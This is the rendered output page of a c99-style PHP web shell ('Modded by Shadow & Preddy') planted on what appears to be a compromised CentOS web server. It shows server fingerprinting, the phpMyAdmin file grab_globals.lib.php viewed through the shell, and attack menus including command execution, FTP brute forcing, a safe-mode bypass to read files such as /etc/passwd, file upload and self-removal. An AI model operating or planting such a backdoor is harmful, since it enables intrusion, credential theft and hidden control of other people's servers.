!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     grab_globals.lib.php (3.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: grab_globals.lib.php,v 2.27.2.1 2006/04/11 16:33:33 cybot_tm Exp $ */
// vim: expandtab sw=4 ts=4 sts=4:


/**
 * This library grabs the names and values of the variables sent or posted to a
 * script in the $_* arrays and sets simple globals variables from them. It does
 * the same work for the $PHP_SELF, $HTTP_ACCEPT_LANGUAGE and
 * $HTTP_AUTHORIZATION variables.
 *
 * loic1 - 2001/25/11: use the new globals arrays defined with php 4.1+
 */

/**
 * copy values from one array to another, usally from a superglobal into $GLOBALS
 *
 * @uses    $GLOBALS['_import_blacklist']
 * @uses    preg_replace()
 * @uses    array_keys()
 * @uses    array_unique()
 * @uses    stripslashes()
 * @param   array   $array      values from
 * @param   array   $target     values to
 * @param   boolean $sanitize   prevent importing key names in $_import_blacklist
 */
function PMA_gpc_extract($array, &$target$sanitize true)
{
    if ( ! 
is_array($array) ) {
        return 
false;
    }

    if ( 
$sanitize ) {
        
$valid_variables preg_replace($GLOBALS['_import_blacklist'], '',
            
array_keys($array));
        
$valid_variables array_unique($valid_variables);
    } else {
        
$valid_variables array_keys($array);
    }

    foreach ( 
$valid_variables as $key ) {

        if ( 
strlen($key) === ) {
            continue;
        }

        if ( 
is_array($array[$key]) ) {
            
// there could be a variable coming from a cookie of
            // another application, with the same name as this array
            
unset( $target[$key] );

            
PMA_gpc_extract($array[$key], $target[$key], false);
        } else {
            
$target[$key] = $array[$key];
        }
    }
    return 
true;
}


/**
 * @var array $_import_blacklist variable names that should NEVER be imported
 *                              from superglobals
 */
$_import_blacklist = array(
    
'/^cfg$/i',         // PMA configuration
    
'/^server$/i',      // selected server
    
'/^db$/i',          // page to display
    
'/^table$/i',       // page to display
    
'/^goto$/i',        // page to display
    
'/^back$/i',        // the page go back
    
'/^lang$/i',        // selected language
    
'/^convcharset$/i'// PMA convert charset
    
'/^collation_connection$/i'//
    
'/^set_theme$/i',   //
    
'/^sql_query$/i',   // the query to be executed
    
'/^GLOBALS$/i',     // the global scope
    
'/^str.*$/i',       // PMA localized strings
    
'/^_.*$/i',         // PMA does not use variables starting with _ from extern
    
'/^.*\s+.*$/i',     // no whitespaces anywhere
    
'/^[0-9]+.*$/i',    // numeric variable names
    //'/^PMA_.*$/i',      // other PMA variables
);

if ( ! empty( 
$_GET ) ) {
    
PMA_gpc_extract($_GET$GLOBALS);
}

if ( ! empty( 
$_POST ) ) {
    
PMA_gpc_extract($_POST$GLOBALS);
}

if ( ! empty( 
$_FILES ) ) {
    foreach ( 
$_FILES AS $name => $value ) {
        $
$name $value['tmp_name'];
        ${
$name '_name'} = $value['name'];
    }
    unset( 
$name$value );
}

/**
 * globalize some environment variables
 */
$server_vars = array('PHP_SELF''HTTP_ACCEPT_LANGUAGE''HTTP_AUTHORIZATION');
foreach ( 
$server_vars as $current ) {
    
// its not important HOW we detect html tags
    // its more important to prevent XSS
    // so its not important if we result in an invalid string,
    // its even better than a XSS capable string
    
if (PMA_getenv($current) && false === strpos(PMA_getenv($current), '<')) {
        $
$current PMA_getenv($current);
    
// already importet by register_globals?
    
} elseif ( ! isset( $$current ) || false !== strpos($$current'<') ) {
        $
$current '';
    }
}
unset(
$server_vars$current$_import_blacklist);

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]--